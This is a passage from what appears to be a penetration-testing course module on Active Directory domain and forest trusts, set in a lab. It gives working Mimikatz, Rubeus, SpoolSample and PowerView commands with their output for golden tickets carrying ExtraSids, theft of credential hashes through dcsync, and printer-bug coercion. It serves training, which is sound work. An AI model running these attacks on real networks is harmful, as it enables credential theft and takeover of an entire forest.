Each of the domains in a forest operates as a single unit and have
all the built-in groups and users we know from a single domain design.
However, the Enterprise Admins group[935] is an extremely
powerful group that only exists in the root domain.

Members of the Domain Admins group have full control over a specific
domain, but their administrative access does not extend beyond that
domain. Members of the Enterprise Admins group are automatically a
domain administrator in every domain in the forest, which makes them a
very desirable target.

However, gaining Domain or Enterprise Admin access is not often the
ultimate goal of a penetration test. But this level of access more or
less ensures that we will be able to fulfill the actual goals of the
penetration test.

In the next section, we are going to examine the enumeration of
existing trusts. We will also perform enumeration of users and groups
located in trusted domains.

Enumeration in the Forest

As penetration testers, we often get access to (or compromise) a
client or server inside an Active Directory instance. From there,
enumeration focusing on AD domain trusts is a key step of the
assessment. With this in mind, let's discuss how to do that.

In general, our first goal is to determine if the domain we have
compromised is part of a larger Active Directory infrastructure, and
if it is, we should enumerate available trusts.

There are multiple ways to do this. The "old school" approach is to
use the built-in nltest.exe[936] application. We can use
the /trusted_domains flag to enumerate any domains trusted
by our current domain.

Listing 45 shows this in the context of the
Offsec user from the Windows 10 client machine.

C:\tools> nltest /trusted_domains
List of domain trusts:
    0: CORP1 corp1.com (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) ( Attr: withinforest )
    1: PROD prod.corp1.com (NT 5) (Forest: 0) (Primary Domain) (Native)
The command completed successfully

Listing 45 - Enumerating trust with nltest

The output reveals our current domain (prod.corp1.com) as indicated by
the Primary Domain note. Additionally, we find the separate domain
(corp1.com). The highlighted area indicates three important pieces of
information.

First, this is the Forest Tree Root, meaning this is the root domain
inside the forest. Secondly, Direct Outbound and Direct Inbound
indicate that our current domain has a direct bi-directional trust to
it. Finally, the name of the root domain is listed as corp1.com.

Instead of using the nltest command line utility, we can also
enumerate this information with .NET, with Win32 APIs, or with LDAP.
They each return slightly different details about the trust and output
different formats.

The easiest to implement is .NET through the
Domain.GetAllTrustRelationships[937] method of the
System.DirectoryServices.ActiveDirectory.Domain namespace:

PS C:\tools> ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

SourceName     TargetName   TrustType TrustDirection
----------     ----------   --------- --------------
prod.corp1.com corp1.com  ParentChild  Bidirectional

Listing 46 - Enumerating domain trust with .NET

The .NET method gives us the information that our current
domain (prod.corp1.com) has a parent-child domain trust that is
bi-directional to corp1.com.

We can also use the Win32 DsEnumerateDomainTrusts[938]
API. As previously mentioned, calling Win32 APIs from PowerShell
or C# requires some setting up, so we are going to use an existing
implementation in PowerView through the Get-DomainTrust method.

By specifying the -API flag, Get-DomainTrust will
enumerate domain trust using DsEnumerateDomainTrusts:

Get-DomainTrust will use the .NET method if we specify the -NET
flag.

PS C:\tools> Get-DomainTrust -API

SourceName        : PROD.CORP1.COM
TargetName        : corp1.com
TargetNetbiosName : CORP1
Flags             : IN_FOREST, DIRECT_OUTBOUND, TREE_ROOT, DIRECT_INBOUND
ParentIndex       : 0
TrustType         : UPLEVEL
TrustAttributes   : WITHIN_FOREST
TargetSid         : S-1-5-21-1095350385-1831131555-2412080359
TargetGuid        : b3ddeaea-6e94-430f-acaa-625e35787ee0

SourceName        : PROD.CORP1.COM
TargetName        : prod.corp1.com
TargetNetbiosName : PROD
Flags             : IN_FOREST, PRIMARY, NATIVE_MODE
ParentIndex       : 0
TrustType         : UPLEVEL
TrustAttributes   : 0
TargetSid         : S-1-5-21-3776646582-2086779273-4091361643
TargetGuid        : ad933000-76e3-4db0-b43c-6a86b850e21e

Listing 47 - Enumerating domain trust with DsEnumerateDomainTrusts

This output also indicates that prod.corp1.com has a direct
bi-directional trust to corp1.com.

It is worth noting that if corp1.com had not been the tree
root, we could continue the enumeration by listing all domain
trusts for corp1.com through the -Domain option in
Get-DomainTrust. Using this approach, we could map out all
the available trust relationships inside the forest.

Finally, since a domain trust creates a Trusted Domain Object
(TDO),[939] we can query its properties with LDAP.

For example, we can use Get-DomainTrust to make this LDAP
query as shown in Listing 47.

PS C:\tools> Get-DomainTrust

SourceName      : prod.corp1.com
TargetName      : corp1.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 4/2/2020 2:08:22 PM
WhenChanged     : 4/2/2020 2:08:22 PM

Listing 48 - Enumerating domain trust with LDAP

Again, the output generates similar results as the previous tools, in
a different format.

Once we have gathered information about the domain trust, we can
enumerate users, groups, and services in trusted domains with
relatively standard tools.

The .NET DirectorySearcher[940] class, which can perform LDAP
queries, can be initialized with a DirectoryEntry[941] object.
This DirectoryEntry object in turn is created based on the LDAP path
of the domain controller to query.

If a domain controller in a trusted domain is used, like rdc01 instead
of cdc01 in the current domain, then we can execute LDAP queries in
any trusted domain. This allows us to reuse the same techniques across
the entire forest.

PowerView implements this through the -Domain option on many
of its commands. Listing 49 shows a truncated
enumeration of users in the trusted corp1.com domain:

PS C:\tools> Get-DomainUser -Domain corp1.com

logoncount             : 42
badpasswordtime        : 4/2/2020 6:52:50 AM
description            : Built-in account for administering the computer/domain
distinguishedname      : CN=Administrator,CN=Users,DC=corp1,DC=com
objectclass            : {top, person, organizationalPerson, user}
lastlogontimestamp     : 4/2/2020 6:52:54 AM
name                   : Administrator
objectsid              : S-1-5-21-1095350385-1831131555-2412080359-500
samaccountname         : Administrator
admincount             : 1
codepage               : 0
samaccounttype         : USER_OBJECT
objectcategory         : CN=Person,CN=Schema,CN=Configuration,DC=corp1,DC=com
dscorepropagationdata  : {4/2/2020 2:02:14 PM, 4/2/2020 2:02:14 PM, 4/2/2020 1:47:05 PM, 1/1/1601 6:12:16 PM}
memberof               : {CN=Group Policy Creator Owners,CN=Users,DC=corp1,DC=com, CN=Domain
                         Admins,CN=Users,DC=corp1,DC=com, CN=Enterprise Admins,CN=Users,DC=corp1,DC=com..}   
...

Listing 49 - Enumerating users in corp1.com

The output of the Get-DomainUser method indicates that the
Administrator user is a member of the Enterprise Admins group in the
corp1.com domain.

It's also worth noting that the BloodHound Ingestor works with
domain trust and allows enumeration of the entire forest.

We can enumerate domain trust across the forest with the enumeration
techniques shown in this section. We can also perform user, group,
and Kerberos delegation enumeration in trusted domains and perhaps
leverage the results in an attack.

In the next section, we will focus on leveraging domain trust to
compromise other domains or the entire forest.

Exercises

  1. Enumerate domain trust with .NET, Win32 API, and LDAP.
  2. Enumerate trusts from the corp1.com domain.
  3. Enumerate groups in the corp1.com domain.
  4. Find all members of the Enterprise Admins group.

Burning Down the Forest

During a penetration test, it is often beneficial to demonstrate a
forest compromise as an ultimate illustration of design vulnerability.

We will take two approaches to this in the following sections. We will
leverage a compromised domain admin account in a child domain and we
will leverage unconstrained Kerberos delegation.

Owning the Forest with Extra SIDs

In the context of an Active Directory forest, our ultimate goal is to
escalate our privileges from domain admin of one domain to Enterprise
admin. The most direct way to obtain this is to compromise the root
domain and obtain Enterprise Admin group membership.

To that end, in this section we will leverage extra SIDs, a field
inside a TGT or TGS. Although this attack assumes we have compromised
the domain we currently reside in, it paves the way to total forest
compromise.

Before we begin, let's highlight a few details of the Kerberos
protocol. When the user performs a logon authentication, a TGT is
created by the domain controller and is encrypted with the krbtgt
account password hash. This is what we leverage when we create a
golden ticket to obtain unlimited access and persistence in the
domain.

The user's logon and authorization information is stored within
a structure called KERB_VALIDATION_INFO[942] inside the
TGT. Among other things, this structure contains a list of group
memberships identified by SIDs.

When we craft a golden ticket, we create a TGT with our desired group
membership. The ExtraSids field within the KERB_VALIDATION_INFO
structure includes SIDs that originate in a foreign domain and show
membership in a trusted domain.

ExtraSids can be used during Active Directory domain migrations to
grant access from one domain to another.

In a legitimate use case, a user from Domain A with ExtraSids assigned
from Domain B is able to access content inside the trusted domain
according to the group memberships the ExtraSids translate to.

The technical implementation of Kerberos authentication across domains
depends on the trust key. Since Domain B cannot know the password
hash of Domain A, it has no way of decrypting a TGT sent from Domain
A to Domain B. A shared secret, created when the trust is configured,
solves this.

When the domain trust is established, a new computer account with the
name of the trusted domain is also created. In prod.corp1.com, the
computer account is called corp1$, which is also referred to as the
trust account. The shared secret is the password hash of corp1$.

For a bi-directional trust like that of parent and child domains, both
prod.corp1.com and corp1.com create the trust account. The name of the
account is always the same as the trusted domain, so inside corp1.com
it is called prod$, but both prod$ and corp1$ have the same
password hash.

We can obtain the NTLM hash of the trust account from the domain
controller, just as we did with the krbtgt account.

Consider the dcsync query run as the admin domain
administrator user shown in Listing 50:

mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:corp1$
[DC] 'prod.corp1.com' will be the domain
[DC] 'CDC01.prod.corp1.com' will be the DC server
[DC] 'corp1$' will be the user account

Object RDN           : CORP1$

** SAM ACCOUNT **

SAM Username         : CORP1$
Account Type         : 30000002 ( TRUST_ACCOUNT )
User Account Control : 00000820 ( PASSWD_NOTREQD INTERDOMAIN_TRUST_ACCOUNT )
Account expiration   :
Password last change : 4/2/2020 7:19:14 AM
Object Security ID   : S-1-5-21-3776646582-2086779273-4091361643-1103
Object Relative ID   : 1103

Credentials:
  Hash NTLM: cf4bc17dff896101da4f3498a68d50f2
...

Listing 50 - Trust key for CORP1$

If a user in prod.corp1.com wants to access a service in corp1.com,
the domain controller in prod.corp1.com will create a TGT for
corp1.com and indicate that it's a referral to a TGS. This TGT is not
signed by the krbtgt password hash but instead with the trust key
shown in Listing 50.

To illustrate this process, we can attempt to access the CIFS service
of rdc01.corp1.com as the Offsec user on the Windows 10 client
inside the prod.corp1.com domain. This will fail since the Offsec
user is not a local administrator on rdc01.corp1.com, but the tickets
will be generated regardless.

Note that before executing this, we should log out and log back in to
clear all cached Kerberos tickets.

C:\tools> dir \\rdc01.corp1.com\c$
Access is denied.

C:\tools> klist

Current LogonId is 0:0x54243a

Cached Tickets: (3)

#0>     Client: offsec @ PROD.CORP1.COM
        Server: krbtgt/CORP1.COM @ PROD.CORP1.COM
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        ...
        Cache Flags: 0
        Kdc Called: CDC01.prod.corp1.com

#1>     Client: offsec @ PROD.CORP1.COM
        Server: krbtgt/PROD.CORP1.COM @ PROD.CORP1.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        ...
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: CDC01.prod.corp1.com

#2>     Client: offsec @ PROD.CORP1.COM
        Server: CIFS/rdc01.corp1.com @ CORP1.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        ...
        Cache Flags: 0
        Kdc Called: RDC01.corp1.com

Listing 51 - Tickets requested for cross domain authentication

Our access to the file share on rdc01.corp1.com is denied, but the
klist command shows that Kerberos tickets were requested.
Ticket 1 is a TGT for the prod.corp1.com domain. This is our regular
TGT and is encrypted with the krbtgt hash of our current domain.

Ticket 0 is a TGT for the corp1.com domain but it is still generated
by the domain controller in our current domain. This TGT is encrypted
by the trust key and then forwarded to the domain controller in
corp1.com.

Finally, ticket 2 is a TGS for the CIFS service on rdc01.corp1.com,
which is created by the domain controller in corp1.com and returned to
us.

While this trust key seems very useful from an attacker's viewpoint,
we don't actually need to use it at all. If we compromise the krbtgt
account password of our current domain, we can craft a golden ticket
that contains an ExtraSid with group membership of Enterprise Admins.

This golden ticket will get rewritten by the domain controller in the
current domain with the trust key before going to the parent domain,
which was demonstrated in Listing 51.

No matter which password we use for the golden ticket, this technique
will allow us to jump directly from our current domain to the root
domain as a member of Enterprise Admins, effectively making us Domain
Admins in all domains in the forest.

Let's try this out with Mimikatz.

First, we'll open a command prompt as the admin user, which is
a member of the Domain Admins group in prod.corp1.com. This will
simulate our compromise of the domain and allow us to obtain the
krbtgt password hash.

We'll launch mimikatz and use the dcsync command to
force a replication of the password hash for the krbtgt account:

mimikatz # lsadump::dcsync /domain:prod.corp1.com /user:prod\krbtgt
[DC] 'prod.corp1.com' will be the domain
[DC] 'CDC01.prod.corp1.com' will be the DC server
[DC] 'prod\krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 4/2/2020 7:09:13 AM
Object Security ID   : S-1-5-21-3776646582-2086779273-4091361643-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 4b6af2bf64714682eeef64f516a08949
    ntlm- 0: 4b6af2bf64714682eeef64f516a08949
    lm  - 0: 2342ac3fd35afd0223a1469f0afce2b1
...

Listing 52 - Obtaining krbtgt hash with DCSync

With the NTLM hash for the krbtgt account from prod.corp1.com, we
can create a golden ticket.

As part of the kerberos::golden command's arguments, we will
need the domain SID for both domains. We can obtain these with
Get-DomainSID from PowerView:

PS C:\tools> Get-DomainSID -Domain prod.corp1.com
S-1-5-21-3776646582-2086779273-4091361643

PS C:\tools> Get-DomainSid -Domain corp1.com
S-1-5-21-1095350385-1831131555-2412080359

Listing 53 - Finding domain SIDs

The final piece of information we need is the RID of the Enterprise
Admins group. Luckily, this is a static value of 519.[943] This
means we can append the value "519" to the domain SID to obtain the
SID of the Enterprise Admins group.

Now we are ready to craft the golden ticket that will grant us
Enterprise Admin membership in corp1.com. We'll supply the username
inside prod.corp1.com (which does not have to be valid), the origin
domain (/domain), the origin domain SID (/sid), the
krbtgt password hash (/krbtgt), and finally, the ExtraSid
value (Enterprise Admins SID) through the /sids: option.

We'll also supply the /ptt flag to inject the ticket into
memory:

mimikatz # kerberos::golden /user:h4x /domain:prod.corp1.com /sid:S-1-5-21-3776646582-2086779273-4091361643 /krbtgt:4b6af2bf64714682eeef64f516a08949 /sids:S-1-5-21-1095350385-1831131555-2412080359-519 /ptt
User      : h4x
Domain    : prod.corp1.com (PROD)
SID       : S-1-5-21-3776646582-2086779273-4091361643
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-1095350385-1831131555-2412080359-519 ;
ServiceKey: 4b6af2bf64714682eeef64f516a08949 - rc4_hmac_nt
Lifetime  : 4/16/2020 8:23:43 AM ; 4/14/2030 8:23:43 AM ; 4/14/2030 8:23:43 AM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'h4x @ prod.corp1.com' successfully submitted for current session

Listing 54 - Crafting a golden ticket with ExtraSid

After the ticket is generated and injected into memory, we can exit
Mimikatz to prove our access to rdc01 (the root domain controller)
with PsExec:

C:\tools> c:\tools\SysinternalsSuite\PsExec.exe \\rdc01 cmd
...

Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Listing 55 - Getting code execution on RDC01

We were able to obtain code execution, which proves administrative
access to rdc01. We can list the group memberships with
whoami /groups:

C:\Windows\system32> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                   Type               
============================================ ================ 
Everyone                                     Well-known group                                       
...
PROD\Domain Admins                           Group            
PROD\Group Policy Creator Owners             Group            
                                             Unknown SID type 
                                             Unknown SID type 
CORP1\Enterprise Admins                     Group            
...                

Listing 56 - Listing group membership

We are now a member of Enterprise Admins. Excellent!

This proves that compromise of one domain can lead to the compromise
od every single domain in the forest. However, since Microsoft has
stated that domains are not security boundaries, this "compromise" is
actually allowed by design. Practically though, this can create secure
design challenges for organizations that wish to compartmentalize data
and access.

A simple example is creating a DMZ with Internet-facing web servers
and joining them to a domain that is in the same forest as the
production domain.

ExtraSids can be blocked between domains in the same forest with
domain quarantine which can be configured with the Netdom[944]
tool. However, this also blocks legitimate access so this solution is
rarely implemented.

Exercise

  1. Repeat the steps in this section to obtain code execution on the
    root domain controller.

Extra Mile

Find the trust key for corp1.com and use it to craft a golden ticket
instead of the krbtgt password hash as shown in the previous
section.

Obtain code execution on the rdc01.corp1.com domain controller with
the crafted ticket. Be sure to log off between attempts to clear out
any cached tickets.

Owning the Forest with Printers

In a previous section, we demonstrated how to compromise an entire
domain using the printer bug after compromising a single server
configured with unconstrained Kerberos delegation. In this section,
we'll reuse this technique to directly target a domain controller in
the forest root domain and instantly compromise the entire forest from
a single server.

This technique does not require Domain Admin privileges. However,
if we have Domain Admin privileges and no servers with unconstrained
delegation exist in our current domain, we can create one ourselves by
modifying the configuration of one of the servers.

In this section, we'll implement the attack without Domain Admin
privileges. To do this, we'll first log in to appsrv01 as the Offsec
user and open a PowerShell prompt. From here, we can determine
our access to the print spooler service on the rdc01 root domain
controller:

PS C:\Tools> ls \\rdc01\pipe\spoolss

    Directory: \\rdc01\pipe

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
                                                 spoolss

Listing 57 - Testing access to print spooler service on RDC01

Listing 57 shows our access to the print spooler
service on rdc01 from the prod.corp1.com domain. This means we can
use the RpcRemoteFindFirstPrinterChangeNotification API to force an
authentication and allow us to obtain a forwardable TGT.

We'll repeat our actions from the previous section by opening
an administrative command prompt and then use Rubeus to
monitor for new tickets from the root domain controller
machine account:

C:\Tools> Rubeus.exe monitor /interval:5 /filteruser:RDC01$
...

[*] Action: TGT Monitoring
[*] Target user     : RDC01$
[*] Monitoring every 5 seconds for new TGTs

Listing 58 - Monitoring for TGTs

With Rubeus running, we'll switch back to our PowerShell prompt and
launch SpoolSample to force the print change notification
from rdc01:

PS C:\Tools> .\SpoolSample.exe rdc01.corp1.com appsrv01.prod.corp1.com
[+] Converted DLL to shellcode
[+] Executing RDI
[+] Calling exported function
TargetServer: \\rdc01.corp1.com, CaptureServer: \\appsrv01.prod.corp1.com
Attempted printer notification and received an invalid handle. The coerced authentication probably worked!

Listing 59 - Forcing authentication from print spooler service

After receiving the success message shown in Listing
59, we'll switch back to our Rubeus monitor, and
after a few seconds, the new TGT is displayed.

[*] 4/17/2020 1:55:43 PM UTC - Found new TGT:

  User                  :  RDC01$@CORP1.COM
  StartTime             :  4/16/2020 10:10:04 PM
  EndTime               :  4/17/2020 8:10:04 AM
  RenewTill             :  4/20/2020 8:30:42 AM
  Flags                 :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  Base64EncodedTicket   :

    doIE9DCCBPCgAwIBBaEDAgEWooIEBDCCBABhggP8MIID+...

[*] Ticket cache size: 1

Listing 60 - TGT received from RDC01

Now that we have obtained a forwardable TGT for the root domain
controller machine account, we can use Rubeus to inject it
into memory as shown in Listing 61.

C:\Tools> Rubeus.exe ptt /ticket:doIE9DCCBPCgAwIBBaEDAgEWooIEBDCCBABhggP8MIID+...
...

[*] Action: Import Ticket
[+] Ticket successfully imported!

Listing 61 - Injecting the TGT into memory

The root domain controller computer account is not a local
administrator on rdc01, so we cannot directly obtain code execution.
However, a domain controller computer account has the access right to
perform AD replication.

We can exploit this by forcing a replication with Mimikatz
dcsync:

mimikatz # lsadump::dcsync /domain:corp1.com /user:corp1\administrator
[DC] 'corp1.com' will be the domain
[DC] 'RDC01.corp1.com' will be the DC server
[DC] 'corp1\administrator' will be the user account

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 4/2/2020 7:03:40 AM
Object Security ID   : S-1-5-21-1095350385-1831131555-2412080359-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: 2892d26cdf84d7a70e2eb3b9f05c425e
    ntlm- 0: 2892d26cdf84d7a70e2eb3b9f05c425e
    ntlm- 1: e2b475c11da2a0748290d87aa966c327
    lm  - 0: 52d8a096001c4c402c9e7b00cae2ee9b
...

Listing 62 - Getting the NTLM hash with DCSync

We now have the NTLM password hash of the root domain Administrator
account and have obtained access to the Enterprise Admins group. Very
nice.

This section illustrated how dangerous unconstrained Kerberos
delegation can be. In a worst-case scenario, we could compromise the
entire forest by just compromising one server or service account.

In 2018, security researcher @harmj0y found that it is possible
to trigger the print spooler authentication across a forest trust and
obtain a forwardable TGT.[945]

In 2019, Microsoft issued two rounds of security advisories and
updates.[946] The first blocked TGT delegation for all new forest
trusts, while the second blocked it for existing forest trust as well.

Also, bear in mind that if we obtain Domain Admin privileges in
prod.corp1.com through some other vector, we could configure a server
with unconstrained Kerberos delegation and use that to compromise any
other domain in the forest.

Exercises

  1. Abuse the print spool service on rdc01 and unconstrained Kerberos
    delegation on appsrv01 to obtain the NTLM hash of the Enterprise
    Admins Administrator user.
  2. Complete the attack by getting code execution as the
    Administrator user on rdc01.

Going Beyond the Forest

The previous sections have clearly demonstrated that (as designed)
no real security boundary exists between domains inside an Active
Directory forest. However, since Microsoft envisions a security
boundary between multiple forests, in the next sections we'll discuss
interforest trust and discuss both enumeration and potential
exploitation vectors.

Active Directory Trust Between Forests

In this module, we have focused on interdomain trust. In this
section, we turn our attention to interforest trust. We will discuss
the theory and highlight the differences between forest and domain
trust.

Figure 6 shows the trusts between Corp1.com
and Corp2.com:

Figure 6: Trust between forests

In this forest trust, both forests trust the other. This is the most
typical form of Active Directory forest trust.

Like a domain trust, a forest trust can be one-way or bi-directional.
The forest trust is transitive between domains, such that
Dev.Corp1.com will trust Dev.Corp2.com but it is not transitive
between multiple forests. If Corp2.com were to have a trust to an
additional domain, namely Corp3.com, Corp1.com would not automatically
have a trust to Corp3.com.

Inside the forest, a shortcut trust can speed up the authentication
process. Similarly, an external trust, like that shown in Figure
6, indicates a trust from a child domain
inside one forest (Factory.Prod.Corp1.com) to a child domain inside
another forest (Lab.Prod.Corp2.com).

External trust is also non-transitive, which means if no forest trust
exists between Corp1.com and Corp2.com, none of the domains except
for Factory.Prod.Corp1.com and Lab.Prod.Corp2.com would have a trust
relationship.

This concept extends to non-Windows environments as well. In
a Kerberos Linux environment, a realm trust (which can either be
transitive or non-transitive) describes a trust between an Active
Directory forest and a Kerberos realm.

Within an interforest trust, like the one used in our example, a user
in a child domain like Prod.Corp1.com can perform queries and access
resources in Prod.Corp2.com. We can also enumerate across the forest
barrier and all information is public, but access to services depends
on group membership.

However, intraforest and interforest trust differ from an enumeration
standpoint. The optional selective authentication[947] setting
limits access across a forest trust to only specific users against
specific objects.

In our example, any user in Prod.Corp1.com could perform queries
on all Active Directory objects in Prod.Corp2.com, but if selective
authentication is configured, a mapping is created that only allows
selected users in Prod.Corp1.com to query information about specific
objects in Prod.Corp2.com.

This type of limitation will greatly reduce an attacker's ability to
enumerate the foreign forest, but at the same time, this configuration
requires a great deal of design and administrative preparation so it
is rarely implemented.

Interforest trust is not uncommon and it's important to understand how
to leverage it during a penetration test. In the next section, we are
going to perform enumeration of forest trust and of objects inside the
foreign forest.

Enumeration Beyond the Forest

In this section, we will focus on forest trust enumeration and we will
perform enumeration from our current forest to users belonging to a
trusted forest.

The first enumeration step is to map out any forest
trusts. This can be done easily with .NET through the
Forest.GetAllTrustRelationships[948] method.

In listing 63, we are enumerating from the
perspective of the Offsec user from the prod.corp1.com domain.

PS C:\tools> ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()

TopLevelNames            : {corp2.com}
ExcludedTopLevelNames    : {}
TrustedDomainInformation : {corp2.com}
SourceName               : corp1.com
TargetName               : corp2.com
TrustType                : Forest
TrustDirection           : Bidirectional

Listing 63 - Enumerating forest trust

We have located a bi-directional forest trust to corp2.com. We
could also perform the enumeration with PowerView through the
Get-ForestTrust method.

If selective authentication is not enabled, we can enumerate trusts to
child domains inside corp2.com with Get-DomainTrust by specifying the
root domain and then continue with any discovered child domains.

PS C:\tools> Get-DomainTrust -Domain corp1.com

SourceName      : corp1.com
TargetName      : prod.corp1.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 4/2/2020 2:08:22 PM
WhenChanged     : 4/2/2020 2:08:22 PM

SourceName      : corp1.com
TargetName      : corp2.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 4/2/2020 7:05:54 PM
WhenChanged     : 4/17/2020 9:53:21 PM

Listing 64 - Enumerating forest trust with LDAP

The Get-DomainTrust LDAP query output reveals the trust
relationships for the corp1.com domain.

Given that manual enumeration of all domain and forest trusts is
cumbersome in a large Active Directory infrastructure, we can use
the PowerView Get-DomainTrustMapping method to automate the
process:

PS C:\tools> Get-DomainTrustMapping

SourceName      : prod.corp1.com
TargetName      : corp1.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 4/2/2020 2:08:22 PM
WhenChanged     : 4/2/2020 2:08:22 PM

SourceName      : corp1.com
TargetName      : prod.corp1.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 4/2/2020 2:08:22 PM
WhenChanged     : 4/2/2020 2:08:22 PM

SourceName      : corp1.com
TargetName      : corp2.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 4/2/2020 7:05:54 PM
WhenChanged     : 4/2/2020 7:05:54 PM

SourceName      : corp2.com
TargetName      : corp1.com
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Bidirectional
WhenCreated     : 4/2/2020 7:05:54 PM
WhenChanged     : 4/2/2020 7:05:54 PM

Listing 65 - Domain and forest trust mapping

We could also use the BloodHound and SharpHound ingestors to perform
full trust mapping, but regardless of our approach, our goal is to
gather enough data to piece together a clear picture of the various
trusts in use.

Once we have completed our enumeration of forest trust and subsequent
child domain trusts, we can start enumerating users, groups, and more
in the trusted forest.

Similar to our approach of enumerating trusted domains, we can begin
this process with the .NET DirectorySearcher class, which accepts a
trusted forest as a search area.

Listing 66 shows truncated output from the
enumeration of all users in corp2.com:

PS C:\tools> Get-DomainUser -Domain corp2.com

logoncount             : 12
badpasswordtime        : 4/2/2020 12:01:00 PM
description            : Built-in account for administering the computer/domain
distinguishedname      : CN=Administrator,CN=Users,DC=corp2,DC=com
objectclass            : {top, person, organizationalPerson, user}
lastlogontimestamp     : 4/17/2020 12:19:58 PM
name                   : Administrator
objectsid              : S-1-5-21-4182647938-3943167060-1815963754-500
samaccountname         : Administrator
logonhours             : {255, 255, 255, 255...}
admincount             : 1
objectcategory         : CN=Person,CN=Schema,CN=Configuration,DC=corp2,DC=com
dscorepropagationdata  : {4/2/2020 2:19:32 PM, 4/2/2020 2:19:32 PM, 4/2/2020 2:04:22 PM, 1/1/1601 6:12:16 PM}
memberof               : {CN=Group Policy Creator Owners,CN=Users,DC=corp2,DC=com, CN=Domain
                         Admins,CN=Users,DC=corp2,DC=com, CN=Enterprise Admins,CN=Users,DC=corp2,DC=com, CN=Schema
                         Admins,CN=Users,DC=corp2,DC=com...}
...

Listing 66 - Enumerating all users in CORP2.COM

While locating foreign high value targets is interesting, at this
point we have no clear attack vector against them. One simple approach
is to search for users with the same username in both forests as they
might belong to the same employee. If such an account exists, there
is a chance that the accounts share a password, which could grant us
access.

We could also attack foreign user accounts. For example, a user in
prod.corp1.com may be a member of a group in corp2.com. This type of
group membership is common as it is a simple way to grant access to
resources.

We can use the PowerView Get-DomainForeignGroupMember method
to enumerate groups in a trusted forest or domain that contains
non-native members.

PS C:\tools> Get-DomainForeignGroupMember -Domain corp2.com

GroupDomain             : corp2.com
GroupName               : myGroup2
GroupDistinguishedName  : CN=myGroup2,OU=corp2Groups,DC=corp2,DC=com
MemberDomain            : corp2.com
MemberName              : S-1-5-21-3776646582-2086779273-4091361643-1601
MemberDistinguishedName : CN=S-1-5-21-3776646582-2086779273-4091361643-1601,CN=ForeignSecurityPrincipals,DC=corp2,DC=com
                          
PS C:\tools> convertfrom-sid S-1-5-21-3776646582-2086779273-4091361643-1601
PROD\dave                          

Listing 67 - Enumerating foreign group membership

Listing 67 reveals that the dave user from our
current domain is a member of myGroup2 in corp2.com.

Depending on the access rights associated with myGroup2, if we were to
compromise the dave user in our current domain, we could easily gain
access to corp2.com.

Exercises

  1. Map out the domain and forest trust with PowerView.
  2. Repeat the enumeration of membership of users from our current
    forest inside corp2.com.
  3. Discover any groups inside our current forest that have members
    that originate from corp2.com.

Compromising an Additional Forest

Since Microsoft designed forest trust as a security boundary, by
default it is not possible to compromise a trusted forest even if we
have completely compromised our current forest.

In the following sections, we'll discuss attacks that will allow us
to compromise a trusted forest under non-default (but not uncommon)
conditions.

Show Me Your Extra SID

When we escalated our access from prod.corp1.com to corp1.com, we
abused the concept of ExtraSids, which allowed us to create a TGT that
let us become members of the Enterprise Admins group.

In this section, we'll revisit this technique and investigate how it
applies to forest trust.

Forest trust introduces the concept of SID filtering. In forest
trust, the contents of the ExtraSids field are filtered so group
memberships are not blindly trusted.

For example, we could repeat our previous attack and generate a TGT
in corp1.com with an ExtraSids entry claiming to be a member of the
Enterprise Admins group in corp2.com.

Once the TGT (now signed with the interforest trust key) reaches the
domain controller in corp2.com, that ExtraSids entry is removed and a
TGS is returned to us. This means that we should not be able to reuse
our previous attack.

Let's test this in the labs by first obtaining the krbtgt password
hash for the corp1.com domain.

We log in to the Windows 10 client machine as the Offsec user and
proceed to open a command prompt in the context of the Administrator
user from the corp1.com domain to simulate complete forest compromise.

Next, we'll use mimikatz to trigger a domain controller
replication with dcsync and obtain the krbtgt password hash
of corp1.com:

mimikatz # lsadump::dcsync /domain:corp1.com /user:corp1\krbtgt
